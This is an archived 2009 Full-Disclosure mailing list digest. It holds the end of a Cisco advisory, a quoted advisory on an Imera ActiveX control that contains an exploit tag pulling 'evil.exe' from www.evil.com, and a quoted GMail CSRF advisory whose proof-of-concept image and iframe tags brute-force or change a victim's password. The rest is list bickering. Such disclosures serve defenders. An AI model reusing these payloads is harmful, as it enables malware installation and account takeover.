> otherwise using such software upgrades, customers agree to be bound
> by the terms of Cisco's software license terms found at
>
> http://www.cisco.com/en/US/products/prod_warranties_item09186a008088e31f.html
> or as otherwise set forth at Cisco.com Downloads at
> http://www.cisco.com/public/sw-center/sw-usingswc.shtml
>
> Do not contact psirt at cisco.com or security-alert at cisco.com for
> software upgrades.
>
> Customers with Service Contracts
> +-------------------------------
>
> Customers with contracts should obtain upgraded software through
> their regular update channels. For most customers, this means that
> upgrades should be obtained through the Software Center on Cisco's
> worldwide website at http://www.cisco.com.
>
> Customers using Third Party Support Organizations
> +------------------------------------------------
>
> Customers whose Cisco products are provided or maintained through
> prior or existing agreements with third-party support organizations,
> such as Cisco Partners, authorized resellers, or service providers
> should contact that support organization for guidance and assistance
> with the appropriate course of action in regards to this advisory.
>
> The effectiveness of any workaround or fix is dependent on specific
> customer situations, such as product mix, network topology, traffic
> behavior, and organizational mission. Due to the variety of affected
> products and releases, customers should consult with their service
> provider or support organization to ensure any applied workaround or
> fix is the most appropriate for use in the intended network before it
> is deployed.
>
> Customers without Service Contracts
> +----------------------------------
>
> Customers who purchase direct from Cisco but do not hold a Cisco
> service contract, and customers who purchase through third-party
> vendors but are unsuccessful in obtaining fixed software through
> their point of sale should acquire upgrades by contacting the Cisco
> Technical Assistance Center (TAC). TAC contacts are as follows.
>
>  * +1 800 553 2447 (toll free from within North America)
>  * +1 408 526 7209 (toll call from anywhere in the world)
>  * e-mail: tac at cisco.com
>
> Customers should have their product serial number available and be
> prepared to give the URL of this notice as evidence of entitlement to
> a free upgrade. Free upgrades for non-contract customers must be
> requested through the TAC.
>
> Refer to
> http://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html
> for additional TAC contact information, including localized telephone
> numbers, and instructions and e-mail addresses for use in various
> languages.
>
> Exploitation and Public Announcements
> =====================================
>
> The Cisco PSIRT is not aware of any public announcements or malicious
> use of the vulnerability described in this advisory.
>
> This vulnerability was found during internal testing.
>
> Status of this Notice: FINAL
> ============================
>
> THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY
> KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF
> MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE
> INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS
> AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS
> DOCUMENT AT ANY TIME.
>
> A stand-alone copy or Paraphrase of the text of this document that
> omits the distribution URL in the following section is an
> uncontrolled copy, and may lack important information or contain
> factual errors.
>
> Distribution
> ============
>
> This advisory is posted on Cisco's worldwide website at :
>
> http://www.cisco.com/warp/public/707/cisco-sa-20090304-sbc.shtml
>
> In addition to worldwide web posting, a text version of this notice
> is clear-signed with the Cisco PSIRT PGP key and is posted to the
> following e-mail and Usenet news recipients.
>
>  * cust-security-announce at cisco.com
>  * first-bulletins at lists.first.org
>  * bugtraq at securityfocus.com
>  * vulnwatch at vulnwatch.org
>  * cisco at spot.colorado.edu
>  * cisco-nsp at puck.nether.net
>  * full-disclosure at lists.grok.org.uk
>  * comp.dcom.sys.cisco at newsgate.cisco.com
>
> Future updates of this advisory, if any, will be placed on Cisco's
> worldwide website, but may or may not be actively announced on
> mailing lists or newsgroups. Users concerned about this problem are
> encouraged to check the above URL for any updates.
>
> Revision History
> ================
>
> +---------------------------------------+
> | Revision |               | Initial    |
> | 1.0      | 2009-March-04 | public     |
> |          |               | release    |
> +---------------------------------------+
>
> Cisco Security Procedures
> =========================
>
> Complete information on reporting security vulnerabilities in Cisco
> products, obtaining assistance with security incidents, and
> registering to receive security information from Cisco, is available
> on Cisco's worldwide website at
>
> http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html
> This includes instructions for press inquiries regarding Cisco
> security notices. All Cisco security advisories are available at
> http://www.cisco.com/go/psirt
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.8 (Darwin)
>
> iEYEARECAAYFAkmurgEACgkQ86n/Gc8U/uBrwwCfbQxCcSz4S4X3UpH4Mccg0Df1
> KMoAn11BqKmRhw5mUuJOl3D/RrVxVrc7
> =m2di
> -----END PGP SIGNATURE-----
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090304/08c72d4d/attachment.html 

From jstarks440 at gmail.com  Wed Mar  4 18:59:45 2009
From: jstarks440 at gmail.com (Jason Starks)
Date: Wed, 4 Mar 2009 13:59:45 -0500
Subject: [Full-disclosure] Imera ImeraIEPlugin ActiveX Control Remote
	Code Execution
In-Reply-To: <642112710903040051g2cd81f28nb9c9c031cbaa25c0@mail.gmail.com>
References: <20090303151206.657A6158045@smtp.hushmail.com>
	<642112710903040051g2cd81f28nb9c9c031cbaa25c0@mail.gmail.com>
Message-ID: <e1b25fd0903041059y7ba33c22h5a426fa28b06ab8e@mail.gmail.com>

That is why most of them are submitted to bugtraq (ew), and not FD, where
they are often discredited in various ways. You see, bugtraq will reject 4
out of 7 postings if your not a subscriber to their super fun security
package, which offers lots of enjoyment of white hat and hacking zone-h
labs. On this ridiculus list, its hard not to get your post through! Kazaa!

On Wed, Mar 4, 2009 at 3:51 AM, bob jones <bholdaaa at gmail.com> wrote:

> doesn't submitting lame bugs in useless apps ever get old?
>
> On Tue, Mar 3, 2009 at 9:12 AM, Elazar Broad <elazar at hushmail.com> wrote:
>
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> Who:
>>  Imera(http://www.imera.com)
>>  Imera TeamLinks Client(http://teamlinks.imera.com/install.html)
>>
>> What:
>>  ImeraIEPlugin.dll
>>  Version 1.0.2.54
>>  Dated 12/02/2008
>>  {75CC8584-86D4-4A50-B976-AA72618322C6}
>>  http://teamlinks.imera.com/ImeraIEPlugin.cab
>>
>> How:
>>  This control is used to install the Imera TeamLinks Client
>> package. The control fails to validate the content that it is to
>> download and install is indeed the Imera TeamLinks Client software.
>>
>> Exploiting this issue is quite simple, like so:
>>
>> <object classid="clsid:75CC8584-86D4-4A50-B976-AA72618322C6"
>> id="obj">
>>        <param name="DownloadProtocol" value="http" />
>>        <param name="DownloadHost" value="www.evil.com" />
>>        <param name="DownloadPort" value="80" />
>>        <param name="DownloadURI" value="evil.exe" />
>> </object>
>>
>> Fix:
>>  The vendor has been notified.
>>
>> Workaround:
>>  Set the killbit for the affected control, see
>> http://support.microsoft.com/kb/240797.
>> Use the Java installer for TeamLinks Client or install the software
>> manually from: http://teamlinks.imera.com/download.html
>>
>> Elazar
>> -----BEGIN PGP SIGNATURE-----
>> Charset: UTF8
>> Note: This signature can be verified at https://www.hushtools.com/verify
>> Version: Hush 3.0
>>
>> wpwEAQECAAYFAkmtR6YACgkQi04xwClgpZgbTgP/T3l+Gj+pIt19H80tiHrlbpbB7+qh
>> /03/vQYTEL75n0XCmfGjbcurLhWlo+m90eDQwlgigq3CoQyqleKNI8kSDYjr2pw289Pm
>> qC21ASe/P3zIM+gt81+iqDtKMA/MGvOE20nrHVEWlatAlCgmSjt3MJhqEJ/GdzUiR22s
>> BDrpVM8=
>> =R0h3
>> -----END PGP SIGNATURE-----
>>
>> --
>> Thinking of a life with religion?  Click here to find a religious school
>> near you.
>>
>> http://tagline.hushmail.com/fc/BLSrjkqkOt2ULsSphoguIMPooi9T2eJVBhBNEJeyTxDH8nsQ8r6djRRztwU/
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090304/55784387/attachment.html 

From jstarks440 at gmail.com  Wed Mar  4 19:00:28 2009
From: jstarks440 at gmail.com (Jason Starks)
Date: Wed, 4 Mar 2009 14:00:28 -0500
Subject: [Full-disclosure] Zabbix 1.6.2 Frontend Multiple Vulnerabilities
In-Reply-To: <97295.1236183834@turing-police.cc.vt.edu>
References: <20090304141340.D4122158045@smtp.hushmail.com>
	<97295.1236183834@turing-police.cc.vt.edu>
Message-ID: <e1b25fd0903041100i3fbb3bd4gb24df3a44103ab2a@mail.gmail.com>

All bugs are worth something! Not.

On Wed, Mar 4, 2009 at 11:23 AM, <Valdis.Kletnieks at vt.edu> wrote:

> On Wed, 04 Mar 2009 09:13:40 EST, bobby.mugabe at hushmail.com said:
>
> > Is the remark about Italia meant as an excuse for stupidity?
> > Racism is not acceptable on this list.
>
> Oddly enough, I read it as "Italians believe in creating enough jobs
> so everybody is employed".  Here in the US, the same effect can usually
> be observed at any Dept of Public Works project site - one guy with a
> jackhammer,
> 3 guys with the slow/stop traffic signs, several project supervisors, and
> another 4 or 5 guys with no obvious function there at all...
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090304/9bbb44c0/attachment.html 

From tbiehn at gmail.com  Wed Mar  4 19:08:56 2009
From: tbiehn at gmail.com (T Biehn)
Date: Wed, 4 Mar 2009 14:08:56 -0500
Subject: [Full-disclosure] The return of L0phtCrack
In-Reply-To: <20090304183720.CE7BB1A003F@smtp.hushmail.com>
References: <20090304183720.CE7BB1A003F@smtp.hushmail.com>
Message-ID: <2d6724810903041108v601c07c4l4999edaf77615e2c@mail.gmail.com>

YOU CAN TOTALLY DIVIDE FLOATING POINTS IN 64 BITS MUCH MORE GANGSTERLY.
ALSO THEY ADDED MORE GREASE TO XOR.
THUS IT IS WORTHWHILE TO SWITCH UR ARCHITECTURES OF HACKING CRYPTOS TO IT.
QED.

-TRAVIS

On Wed, Mar 4, 2009 at 1:37 PM,  <bobby.mugabe at hushmail.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Valdis,
>
> I fully understand and agree with you that any sort of so-called
> "64-bit support" for a computer code crypto hacking program is
> entirely useless, however I am sure that the rest of this list
> would like to hear your expert analysis and explanation on this
> topic.
>
> Thanks,
> - -bm
>
> On Wed, 04 Mar 2009 12:19:21 -0500 Valdis.Kletnieks at vt.edu wrote:
>>On Wed, 04 Mar 2009 02:48:09 CST, bob jones said:
>>
>>> just now getting "64 bit support"
>>
>>And adding 64 bit support improves l0phtcrack how? (Consider that
>>it doesn't
>>significantly add to the number of boxes it will run on, because
>>the vast
>>majority of target boxes are still 32-bit environments). ?Remember
>>that
>>programmer time is *always* limited, so you *always* have to pick
>>and choose
>>which features will actually get written in time for the next
>>release.
>>
>>The improved rainbow tables will probably make a hell of a lot
>>bigger *actual*
>>difference than the 64-bit support.
> -----BEGIN PGP SIGNATURE-----
> Charset: UTF8
> Version: Hush 3.0
> Note: This signature can be verified at https://www.hushtools.com/verify
>
> wpwEAQMCAAYFAkmuyf0ACgkQhNp8gzZx3si9+wP+MaeVZQ4+vYRMAV8p9oO645uusuq4
> iIWrGxOmRavrhfTx7EAeMDljh9btjhxJG6vb70mfvJl22ZceNld+AjFBxIcmxHFod2Fm
> JNpXBZhC3r+j1h3XhQQwA5sAF6lskY3Gx9dMpWKIFzVqLISrlPfVnkqvDw0RdKv6wSTb
> k0AqOP4=
> =m8fF
> -----END PGP SIGNATURE-----
>
> --
> Looking for window replacement tips and products? Click now.
> ?http://tagline.hushmail.com/fc/BLSrjkqfaqW5fztCnEqm6N49yfP0ynBkzP5WJ5fOTjpZwUO9V0DybqYGRYc/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



From tbiehn at gmail.com  Wed Mar  4 19:30:58 2009
From: tbiehn at gmail.com (T Biehn)
Date: Wed, 4 Mar 2009 14:30:58 -0500
Subject: [Full-disclosure] The return of L0phtCrack
In-Reply-To: <20090304191328.B650A28042@smtp.hushmail.com>
References: <20090304191328.B650A28042@smtp.hushmail.com>
Message-ID: <2d6724810903041130v2bb06181q58ff0d64aca8f9a5@mail.gmail.com>

Dear Bob,
You're wrong on both counts... Obviously wrong.
The 64 bit thing is self evident but what's behind the curtain - so to
speak - is that I hold the shift key, I feel it much more effectively
communicates my emotions, the caps lock is just too.... impersonal.

-Travis

On Wed, Mar 4, 2009 at 2:13 PM,  <bobby.mugabe at hushmail.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Dear Travis,
>
> You cannot even operate a shiftlock key with competence, much less
> understand 32bits let alone 64bits. ?Please leave your sarcasm at
> the Italian door.
>
> - -bm
>
> On Wed, 04 Mar 2009 14:08:56 -0500 T Biehn <tbiehn at gmail.com> wrote:
>>YOU CAN TOTALLY DIVIDE FLOATING POINTS IN 64 BITS MUCH MORE
>>GANGSTERLY.
>>ALSO THEY ADDED MORE GREASE TO XOR.
>>THUS IT IS WORTHWHILE TO SWITCH UR ARCHITECTURES OF HACKING
>>CRYPTOS TO IT.
>>QED.
>>
>>-TRAVIS
>>
>>On Wed, Mar 4, 2009 at 1:37 PM, ?<bobby.mugabe at hushmail.com>
>>wrote:
>>> -----BEGIN PGP SIGNED MESSAGE-----
>>> Hash: SHA1
>>>
>>> Valdis,
>>>
>>> I fully understand and agree with you that any sort of so-called
>>> "64-bit support" for a computer code crypto hacking program is
>>> entirely useless, however I am sure that the rest of this list
>>> would like to hear your expert analysis and explanation on this
>>> topic.
>>>
>>> Thanks,
>>> - -bm
>>>
>>> On Wed, 04 Mar 2009 12:19:21 -0500 Valdis.Kletnieks at vt.edu
>>wrote:
>>>>On Wed, 04 Mar 2009 02:48:09 CST, bob jones said:
>>>>
>>>>> just now getting "64 bit support"
>>>>
>>>>And adding 64 bit support improves l0phtcrack how? (Consider
>>that
>>>>it doesn't
>>>>significantly add to the number of boxes it will run on, because
>>>>the vast
>>>>majority of target boxes are still 32-bit environments).
>>Remember
>>>>that
>>>>programmer time is *always* limited, so you *always* have to
>>pick
>>>>and choose
>>>>which features will actually get written in time for the next
>>>>release.
>>>>
>>>>The improved rainbow tables will probably make a hell of a lot
>>>>bigger *actual*
>>>>difference than the 64-bit support.
>>> -----BEGIN PGP SIGNATURE-----
>>> Charset: UTF8
>>> Version: Hush 3.0
>>> Note: This signature can be verified at
>>https://www.hushtools.com/verify
>>>
>>>
>>wpwEAQMCAAYFAkmuyf0ACgkQhNp8gzZx3si9+wP+MaeVZQ4+vYRMAV8p9oO645uusuq
>>4
>>>
>>iIWrGxOmRavrhfTx7EAeMDljh9btjhxJG6vb70mfvJl22ZceNld+AjFBxIcmxHFod2F
>>m
>>>
>>JNpXBZhC3r+j1h3XhQQwA5sAF6lskY3Gx9dMpWKIFzVqLISrlPfVnkqvDw0RdKv6wST
>>b
>>> k0AqOP4=
>>> =m8fF
>>> -----END PGP SIGNATURE-----
>>>
>>> --
>>> Looking for window replacement tips and products? Click now.
>>>
>>http://tagline.hushmail.com/fc/BLSrjkqfaqW5fztCnEqm6N49yfP0ynBkzP5W
>>J5fOTjpZwUO9V0DybqYGRYc/
>>>
>>> _______________________________________________
>>> Full-Disclosure - We believe in it.
>>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>> Hosted and sponsored by Secunia - http://secunia.com/
>>>
> -----BEGIN PGP SIGNATURE-----
> Charset: UTF8
> Version: Hush 3.0
> Note: This signature can be verified at https://www.hushtools.com/verify
>
> wpwEAQMCAAYFAkmu0nYACgkQhNp8gzZx3sj6SgP/UgkOypKWLuqrxMWk/Zzn8UMngHLc
> vUvgjze6ba4VgS+fxm4Mk1EDBWb0UmSXDHEsUAtSAcpvmv33y6fC2SjE11++KZRCITpn
> 0qFszPZYUYG17BrdNEkml045JHCt9DtbnXSswnygvSC4d3NSJjYT4yHs92DyGdUxKOsJ
> oXTRMK4=
> =0lvl
> -----END PGP SIGNATURE-----
>
> --
> Become a medical transcriptionist at home, at your own pace.
> ?http://tagline.hushmail.com/fc/BLSrjkqfMmgOHeQo7AmOVEZjB8F9hjRouswXRIruHXHLYBKkpP26JC7xius/
>
>



From bobby.mugabe at hushmail.com  Wed Mar  4 19:13:27 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Wed, 04 Mar 2009 14:13:27 -0500
Subject: [Full-disclosure] The return of L0phtCrack
Message-ID: <20090304191328.B650A28042@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dear Travis,

You cannot even operate a shiftlock key with competence, much less
understand 32bits let alone 64bits.  Please leave your sarcasm at
the Italian door.

- -bm

On Wed, 04 Mar 2009 14:08:56 -0500 T Biehn <tbiehn at gmail.com> wrote:
>YOU CAN TOTALLY DIVIDE FLOATING POINTS IN 64 BITS MUCH MORE
>GANGSTERLY.
>ALSO THEY ADDED MORE GREASE TO XOR.
>THUS IT IS WORTHWHILE TO SWITCH UR ARCHITECTURES OF HACKING
>CRYPTOS TO IT.
>QED.
>
>-TRAVIS
>
>On Wed, Mar 4, 2009 at 1:37 PM,  <bobby.mugabe at hushmail.com>
>wrote:
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> Valdis,
>>
>> I fully understand and agree with you that any sort of so-called
>> "64-bit support" for a computer code crypto hacking program is
>> entirely useless, however I am sure that the rest of this list
>> would like to hear your expert analysis and explanation on this
>> topic.
>>
>> Thanks,
>> - -bm
>>
>> On Wed, 04 Mar 2009 12:19:21 -0500 Valdis.Kletnieks at vt.edu
>wrote:
>>>On Wed, 04 Mar 2009 02:48:09 CST, bob jones said:
>>>
>>>> just now getting "64 bit support"
>>>
>>>And adding 64 bit support improves l0phtcrack how? (Consider
>that
>>>it doesn't
>>>significantly add to the number of boxes it will run on, because
>>>the vast
>>>majority of target boxes are still 32-bit environments). ?
>Remember
>>>that
>>>programmer time is *always* limited, so you *always* have to
>pick
>>>and choose
>>>which features will actually get written in time for the next
>>>release.
>>>
>>>The improved rainbow tables will probably make a hell of a lot
>>>bigger *actual*
>>>difference than the 64-bit support.
>> -----BEGIN PGP SIGNATURE-----
>> Charset: UTF8
>> Version: Hush 3.0
>> Note: This signature can be verified at
>https://www.hushtools.com/verify
>>
>>
>wpwEAQMCAAYFAkmuyf0ACgkQhNp8gzZx3si9+wP+MaeVZQ4+vYRMAV8p9oO645uusuq
>4
>>
>iIWrGxOmRavrhfTx7EAeMDljh9btjhxJG6vb70mfvJl22ZceNld+AjFBxIcmxHFod2F
>m
>>
>JNpXBZhC3r+j1h3XhQQwA5sAF6lskY3Gx9dMpWKIFzVqLISrlPfVnkqvDw0RdKv6wST
>b
>> k0AqOP4=
>> =m8fF
>> -----END PGP SIGNATURE-----
>>
>> --
>> Looking for window replacement tips and products? Click now.
>> ?
>http://tagline.hushmail.com/fc/BLSrjkqfaqW5fztCnEqm6N49yfP0ynBkzP5W
>J5fOTjpZwUO9V0DybqYGRYc/
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify

wpwEAQMCAAYFAkmu0nYACgkQhNp8gzZx3sj6SgP/UgkOypKWLuqrxMWk/Zzn8UMngHLc
vUvgjze6ba4VgS+fxm4Mk1EDBWb0UmSXDHEsUAtSAcpvmv33y6fC2SjE11++KZRCITpn
0qFszPZYUYG17BrdNEkml045JHCt9DtbnXSswnygvSC4d3NSJjYT4yHs92DyGdUxKOsJ
oXTRMK4=
=0lvl
-----END PGP SIGNATURE-----

--
Click here for free information on how to reduce your debt by filing for bankruptcy.
 http://tagline.hushmail.com/fc/BLSrjkqhNChAgBWUgOenwjfYJOXx59dBpD3zH0mSih4Vsr7IMm2rneXRYmE/



From bobby.mugabe at hushmail.com  Wed Mar  4 19:14:23 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Wed, 04 Mar 2009 14:14:23 -0500
Subject: [Full-disclosure] Imera ImeraIEPlugin ActiveX Control Remote
	Code Execution
Message-ID: <20090304191424.610CD28042@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Mr. Stark,

What difficulties have you encountered while posting to this list?

- -bm

On Wed, 04 Mar 2009 13:59:45 -0500 Jason Starks
<jstarks440 at gmail.com> wrote:
>That is why most of them are submitted to bugtraq (ew), and not
>FD, where
>they are often discredited in various ways. You see, bugtraq will
>reject 4
>out of 7 postings if your not a subscriber to their super fun
>security
>package, which offers lots of enjoyment of white hat and hacking
>zone-h
>labs. On this ridiculus list, its hard not to get your post
>through! Kazaa!
>
>On Wed, Mar 4, 2009 at 3:51 AM, bob jones <bholdaaa at gmail.com>
>wrote:
>
>> doesn't submitting lame bugs in useless apps ever get old?
>>
>> On Tue, Mar 3, 2009 at 9:12 AM, Elazar Broad
><elazar at hushmail.com> wrote:
>>
>>> -----BEGIN PGP SIGNED MESSAGE-----
>>> Hash: SHA1
>>>
>>> Who:
>>>  Imera(http://www.imera.com)
>>>  Imera TeamLinks
>Client(http://teamlinks.imera.com/install.html)
>>>
>>> What:
>>>  ImeraIEPlugin.dll
>>>  Version 1.0.2.54
>>>  Dated 12/02/2008
>>>  {75CC8584-86D4-4A50-B976-AA72618322C6}
>>>  http://teamlinks.imera.com/ImeraIEPlugin.cab
>>>
>>> How:
>>>  This control is used to install the Imera TeamLinks Client
>>> package. The control fails to validate the content that it is
>to
>>> download and install is indeed the Imera TeamLinks Client
>software.
>>>
>>> Exploiting this issue is quite simple, like so:
>>>
>>> <object classid="clsid:75CC8584-86D4-4A50-B976-AA72618322C6"
>>> id="obj">
>>>        <param name="DownloadProtocol" value="http" />
>>>        <param name="DownloadHost" value="www.evil.com" />
>>>        <param name="DownloadPort" value="80" />
>>>        <param name="DownloadURI" value="evil.exe" />
>>> </object>
>>>
>>> Fix:
>>>  The vendor has been notified.
>>>
>>> Workaround:
>>>  Set the killbit for the affected control, see
>>> http://support.microsoft.com/kb/240797.
>>> Use the Java installer for TeamLinks Client or install the
>software
>>> manually from: http://teamlinks.imera.com/download.html
>>>
>>> Elazar
>>> -----BEGIN PGP SIGNATURE-----
>>> Charset: UTF8
>>> Note: This signature can be verified at
>https://www.hushtools.com/verify
>>> Version: Hush 3.0
>>>
>>>
>wpwEAQECAAYFAkmtR6YACgkQi04xwClgpZgbTgP/T3l+Gj+pIt19H80tiHrlbpbB7+q
>h
>>>
>/03/vQYTEL75n0XCmfGjbcurLhWlo+m90eDQwlgigq3CoQyqleKNI8kSDYjr2pw289P
>m
>>>
>qC21ASe/P3zIM+gt81+iqDtKMA/MGvOE20nrHVEWlatAlCgmSjt3MJhqEJ/GdzUiR22
>s
>>> BDrpVM8=
>>> =R0h3
>>> -----END PGP SIGNATURE-----
>>>
>>> --
>>> Thinking of a life with religion?  Click here to find a
>religious school
>>> near you.
>>>
>>>
>http://tagline.hushmail.com/fc/BLSrjkqkOt2ULsSphoguIMPooi9T2eJVBhBN
>EJeyTxDH8nsQ8r6djRRztwU/
>>>
>>> _______________________________________________
>>> Full-Disclosure - We believe in it.
>>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>> Hosted and sponsored by Secunia - http://secunia.com/
>>>
>>
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify

wpwEAQMCAAYFAkmu0q4ACgkQhNp8gzZx3si+qwP/Td5ZfCGAmEqHEpQi6uYGQC+fsw+B
ccjg0iOFqIXFFOLVHoS5QhOC1KshSxGQ2qHZUExH4H5Vo9YIO43YuGYtYJRJGBsH4Y5z
EK3Bof1DNf4DOZ2eYAQdAzPch6yx6xq4pvLntSPu0cJ+5KdDaH7/6tqeyu3Hs8iItz7w
50hFFC4=
=M4GG
-----END PGP SIGNATURE-----

--
Save hundreds on Computer Training. Click here.
 http://tagline.hushmail.com/fc/BLSrjkqaI8YbaAC7OKMyPV21xZA75vP9Y8orUJ0hENzoviZYSR8vU9DW19G/



From bobby.mugabe at hushmail.com  Wed Mar  4 19:15:05 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Wed, 04 Mar 2009 14:15:05 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
Message-ID: <20090304191506.48D5328042@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Yes.

- -bm

On Tue, 03 Mar 2009 18:28:30 -0500 Biz Marqee
<biz.marqee at gmail.com> wrote:
>This was 2 years well spent... NOT!
>
>Seriously what is with all these people popping up releasing
>advisories that
>are absolute SHIT? Is it to try and get jobs or what?
>
>
>On Tue, Mar 3, 2009 at :55 AM, ISecAuditors Security Advisories <
>advisories at isecauditors.com> wrote:
>
>> =============================================
>> INTERNET SECURITY AUDITORS ALERT 2007-003
>> - Original release date: August 1st, 2007
>> - Last revised: January 11th, 2009
>> - Discovered by: Vicente Aguilera Diaz
>> - Severity: 3/5
>> =============================================
>>
>> I. VULNERABILITY
>> -------------------------
>> CSRF vulnerability in GMail service
>>
>> II. BACKGROUND
>> -------------------------
>> Gmail is Google's free webmail service. It comes with built-in
>Google
>> search technology and over 2,600 megabytes of storage (and
>growing
>> every day). You can keep all your important messages, files and
>> pictures forever, use search to quickly and easily find anything
>> you're looking for, and make sense of it all with a new way of
>viewing
>> messages as part of conversations.
>>
>> III. DESCRIPTION
>> -------------------------
>> Cross-Site Request Forgery, also known as one click attack or
>session
>> riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of
>> malicious exploit of websites. Although this type of attack has
>> similarities to cross-site scripting (XSS), cross-site scripting
>> requires the attacker to inject unauthorized code into a
>website,
>> while cross-site request forgery merely transmits unauthorized
>> commands from a user the website trusts.
>>
>> GMail is vulnerable to CSRF attacks in the "Change Password"
>> functionality. The only token for authenticate the user is a
>session
>> cookie, and this cookie is sent automatically by the browser in
>every
>> request.
>>
>> An attacker can create a page that includes requests to the
>"Change
>> password" functionality of GMail and modify the passwords of the
>users
>> who, being authenticated, visit the page of the attacker.
>>
>> The attack is facilitated since the "Change Password" request
>can be
>> realized across the HTTP GET method instead of the POST method
>that is
>> realized habitually across the "Change Password" form.
>>
>> IV. PROOF OF CONCEPT
>> -------------------------
>> 1. An attacker create a web page "csrf-attack.html" that realize
>many
>> HTTP GET requests to the "Change Password" functionality.
>>
>> For example, a password cracking of 3 attempts (see "OldPasswd"
>> parameter):
>> ...
>> <img
>> src="
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> ">
>> <img
>> src="
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> ">
>> <img
>> src="
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> ">
>> ...
>>
>> or with hidden frames:
>> ...
>> <iframe
>> src="
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> ">
>> <iframe
>> src="
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> ">
>> <iframe
>> src="
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> ">
>> ...
>>
>> The attacker can use deliberately a weak new password (see
>"Passwd"
>> and "PasswdAgain" parameters), this way he can know if the
>analysed
>> password is correct without need to modify the password of the
>victim
>> user.
>>
>> Using weak passwords the "Change Password" response is:
>>  - " The password you gave is incorrect. ", if the analysed
>password
>> is not correct.
>>  - " We're sorry, but you've selected an insecure password. In
>order
>> to protect the security of your account, please click "Password
>> Strength" to get tips on choosing to safer password. ", if the
>> analysed password is correct and the victim password is not
>modified.
>>
>> If the attacker want to modify the password of the victim user,
>the
>> waited response message is: " Your new password has been saved -
>OK ".
>>
>> In any case, the attacker evades the restrictions imposed by the
>> captcha of the authentication form.
>>
>> 2. A user authenticated in GMail visit the "csrf-attack.html"
>page
>> controlled by the attacker.
>>
>> For example, the attacker sends a mail to the victim (a GMail
>account)
>> and provokes that the victim visits his page (social
>engineering). So,
>> the attacker insures himself that the victim is authenticated.
>>
>> 3. The password cracking is executed transparently to the
>victim.
>>
>> V. BUSINESS IMPACT
>> -------------------------
>> - Selective DoS on users of the GMail service (changing user
>password).
>> - Possible access to the mail of other GMail users.
>>
>> VI. SYSTEMS AFFECTED
